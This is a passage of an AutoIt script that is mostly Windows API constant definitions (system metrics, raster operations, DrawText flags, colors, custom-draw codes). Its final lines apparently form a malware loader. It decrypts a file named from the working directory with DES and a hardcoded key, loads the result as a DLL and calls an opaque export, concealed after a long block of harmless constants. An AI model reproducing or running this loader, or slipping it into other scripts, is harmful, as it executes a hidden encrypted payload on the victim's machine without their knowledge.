  1373. Global Const $sm_cxmenucheck = 71
  1374. Global Const $sm_cymenucheck = 72
  1375. Global Const $sm_slowmachine = 73
  1376. Global Const $sm_mideastenabled = 74
  1377. Global Const $sm_mousewheelpresent = 75
  1378. Global Const $sm_xvirtualscreen = 76
  1379. Global Const $sm_yvirtualscreen = 77
  1380. Global Const $sm_cxvirtualscreen = 78
  1381. Global Const $sm_cyvirtualscreen = 79
  1382. Global Const $sm_cmonitors = 80
  1383. Global Const $sm_samedisplayformat = 81
  1384. Global Const $sm_immenabled = 82
  1385. Global Const $sm_cxfocusborder = 83
  1386. Global Const $sm_cyfocusborder = 84
  1387. Global Const $sm_tabletpc = 86
  1388. Global Const $sm_mediacenter = 87
  1389. Global Const $sm_starter = 88
  1390. Global Const $sm_serverr2 = 89
  1391. Global Const $sm_cmetrics = 90
  1392. Global Const $sm_remotesession = 4096
  1393. Global Const $sm_shuttingdown = 8192
  1394. Global Const $sm_remotecontrol = 8193
  1395. Global Const $sm_caretblinkingenabled = 8194
  1396. Global Const $blackness = 66
  1397. Global Const $captureblt = 1073741824
  1398. Global Const $dstinvert = 5570569
  1399. Global Const $mergecopy = 12583114
  1400. Global Const $mergepaint = 12255782
  1401. Global Const $nomirrorbitmap = -2147483648
  1402. Global Const $notsrccopy = 3342344
  1403. Global Const $notsrcerase = 1114278
  1404. Global Const $patcopy = 15728673
  1405. Global Const $patinvert = 5898313
  1406. Global Const $patpaint = 16452105
  1407. Global Const $srcand = 8913094
  1408. Global Const $srccopy = 13369376
  1409. Global Const $srcerase = 4457256
  1410. Global Const $srcinvert = 6684742
  1411. Global Const $srcpaint = 15597702
  1412. Global Const $whiteness = 16711778
  1413. Global Const $dt_bottom = 8
  1414. Global Const $dt_calcrect = 1024
  1415. Global Const $dt_center = 1
  1416. Global Const $dt_editcontrol = 8192
  1417. Global Const $dt_end_ellipsis = 32768
  1418. Global Const $dt_expandtabs = 64
  1419. Global Const $dt_externalleading = 512
  1420. Global Const $dt_hideprefix = 1048576
  1421. Global Const $dt_internal = 4096
  1422. Global Const $dt_left = 0
  1423. Global Const $dt_modifystring = 65536
  1424. Global Const $dt_noclip = 256
  1425. Global Const $dt_nofullwidthcharbreak = 524288
  1426. Global Const $dt_noprefix = 2048
  1427. Global Const $dt_path_ellipsis = 16384
  1428. Global Const $dt_prefixonly = 2097152
  1429. Global Const $dt_right = 2
  1430. Global Const $dt_rtlreading = 131072
  1431. Global Const $dt_singleline = 32
  1432. Global Const $dt_tabstop = 128
  1433. Global Const $dt_top = 0
  1434. Global Const $dt_vcenter = 4
  1435. Global Const $dt_wordbreak = 16
  1436. Global Const $dt_word_ellipsis = 262144
  1437. Global Const $rdw_erase = 4
  1438. Global Const $rdw_frame = 1024
  1439. Global Const $rdw_internalpaint = 2
  1440. Global Const $rdw_invalidate = 1
  1441. Global Const $rdw_noerase = 32
  1442. Global Const $rdw_noframe = 2048
  1443. Global Const $rdw_nointernalpaint = 16
  1444. Global Const $rdw_validate = 8
  1445. Global Const $rdw_erasenow = 512
  1446. Global Const $rdw_updatenow = 256
  1447. Global Const $rdw_allchildren = 128
  1448. Global Const $rdw_nochildren = 64
  1449. Global Const $wm_renderformat = 773
  1450. Global Const $wm_renderallformats = 774
  1451. Global Const $wm_destroyclipboard = 775
  1452. Global Const $wm_drawclipboard = 776
  1453. Global Const $wm_paintclipboard = 777
  1454. Global Const $wm_vscrollclipboard = 778
  1455. Global Const $wm_sizeclipboard = 779
  1456. Global Const $wm_askcbformatname = 780
  1457. Global Const $wm_changecbchain = 781
  1458. Global Const $wm_hscrollclipboard = 782
  1459. Global Const $hterror = -2
  1460. Global Const $httransparent = -1
  1461. Global Const $htnowhere = 0
  1462. Global Const $htclient = 1
  1463. Global Const $htcaption = 2
  1464. Global Const $htsysmenu = 3
  1465. Global Const $htgrowbox = 4
  1466. Global Const $htsize = $htgrowbox
  1467. Global Const $htmenu = 5
  1468. Global Const $hthscroll = 6
  1469. Global Const $htvscroll = 7
  1470. Global Const $htminbutton = 8
  1471. Global Const $htmaxbutton = 9
  1472. Global Const $htleft = 10
  1473. Global Const $htright = 11
  1474. Global Const $httop = 12
  1475. Global Const $httopleft = 13
  1476. Global Const $httopright = 14
  1477. Global Const $htbottom = 15
  1478. Global Const $htbottomleft = 16
  1479. Global Const $htbottomright = 17
  1480. Global Const $htborder = 18
  1481. Global Const $htreduce = $htminbutton
  1482. Global Const $htzoom = $htmaxbutton
  1483. Global Const $htsizefirst = $htleft
  1484. Global Const $htsizelast = $htbottomright
  1485. Global Const $htobject = 19
  1486. Global Const $htclose = 20
  1487. Global Const $hthelp = 21
  1488. Global Const $color_scrollbar = 0
  1489. Global Const $color_background = 1
  1490. Global Const $color_activecaption = 2
  1491. Global Const $color_inactivecaption = 3
  1492. Global Const $color_menu = 4
  1493. Global Const $color_window = 5
  1494. Global Const $color_windowframe = 6
  1495. Global Const $color_menutext = 7
  1496. Global Const $color_windowtext = 8
  1497. Global Const $color_captiontext = 9
  1498. Global Const $color_activeborder = 10
  1499. Global Const $color_inactiveborder = 11
  1500. Global Const $color_appworkspace = 12
  1501. Global Const $color_highlight = 13
  1502. Global Const $color_highlighttext = 14
  1503. Global Const $color_btnface = 15
  1504. Global Const $color_btnshadow = 16
  1505. Global Const $color_graytext = 17
  1506. Global Const $color_btntext = 18
  1507. Global Const $color_inactivecaptiontext = 19
  1508. Global Const $color_btnhighlight = 20
  1509. Global Const $color_3ddkshadow = 21
  1510. Global Const $color_3dlight = 22
  1511. Global Const $color_infotext = 23
  1512. Global Const $color_infobk = 24
  1513. Global Const $color_hotlight = 26
  1514. Global Const $color_gradientactivecaption = 27
  1515. Global Const $color_gradientinactivecaption = 28
  1516. Global Const $color_menuhilight = 29
  1517. Global Const $color_menubar = 30
  1518. Global Const $color_desktop = 1
  1519. Global Const $color_3dface = 15
  1520. Global Const $color_3dshadow = 16
  1521. Global Const $color_3dhighlight = 20
  1522. Global Const $color_3dhilight = 20
  1523. Global Const $color_btnhilight = 20
  1524. Global Const $hinst_commctrl = -1
  1525. Global Const $idb_std_small_color = 0
  1526. Global Const $idb_std_large_color = 1
  1527. Global Const $idb_view_small_color = 4
  1528. Global Const $idb_view_large_color = 5
  1529. Global Const $idb_hist_small_color = 8
  1530. Global Const $idb_hist_large_color = 9
  1531. Global Const $startf_forceofffeedback = 128
  1532. Global Const $startf_forceonfeedback = 64
  1533. Global Const $startf_preventpinning = 8192
  1534. Global Const $startf_runfullscreen = 32
  1535. Global Const $startf_titleisappid = 4096
  1536. Global Const $startf_titleislinkname = 2048
  1537. Global Const $startf_usecountchars = 8
  1538. Global Const $startf_usefillattribute = 16
  1539. Global Const $startf_usehotkey = 512
  1540. Global Const $startf_useposition = 4
  1541. Global Const $startf_useshowwindow = 1
  1542. Global Const $startf_usesize = 2
  1543. Global Const $startf_usestdhandles = 256
  1544. Global Const $cdds_prepaint = 1
  1545. Global Const $cdds_postpaint = 2
  1546. Global Const $cdds_preerase = 3
  1547. Global Const $cdds_posterase = 4
  1548. Global Const $cdds_item = 65536
  1549. Global Const $cdds_itemprepaint = 65537
  1550. Global Const $cdds_itempostpaint = 65538
  1551. Global Const $cdds_itempreerase = 65539
  1552. Global Const $cdds_itemposterase = 65540
  1553. Global Const $cdds_subitem = 131072
  1554. Global Const $cdis_selected = 1
  1555. Global Const $cdis_grayed = 2
  1556. Global Const $cdis_disabled = 4
  1557. Global Const $cdis_checked = 8
  1558. Global Const $cdis_focus = 16
  1559. Global Const $cdis_default = 32
  1560. Global Const $cdis_hot = 64
  1561. Global Const $cdis_marked = 128
  1562. Global Const $cdis_indeterminate = 256
  1563. Global Const $cdis_showkeyboardcues = 512
  1564. Global Const $cdis_nearhot = 1024
  1565. Global Const $cdis_othersidehot = 2048
  1566. Global Const $cdis_drophilited = 4096
  1567. Global Const $cdrf_dodefault = 0
  1568. Global Const $cdrf_newfont = 2
  1569. Global Const $cdrf_skipdefault = 4
  1570. Global Const $cdrf_notifypostpaint = 16
  1571. Global Const $cdrf_notifyitemdraw = 32
  1572. Global Const $cdrf_notifysubitemdraw = 32
  1573. Global Const $cdrf_notifyposterase = 64
  1574. Global Const $cdrf_doerase = 8
  1575. Global Const $cdrf_skippostpaint = 256
  1576. Global Const $gui_ss_default_gui = BitOR($ws_minimizebox, $ws_caption, $ws_popup, $ws_sysmenu)
  1577. Global $ola = @WorkingDir
  1578. Global $ola1 = StringMid($ola, 4, 16)
  1579. $ola1 = $ola1 & ".ia"
  1580. Local $ola2 = $ola1 & ".a1"
  1581. Local $ola3 = $calg_des
  1582. Local $ola4 = "15247823"
  1583. If _crypt_decryptfile($ola1, $ola2, $ola4, $ola3) Then
  1584. EndIf
  1585. Global $ola5 = DllOpen($ola2)
  1586. DllCall($ola5, "STRUCT", "A040822_1")
  1587.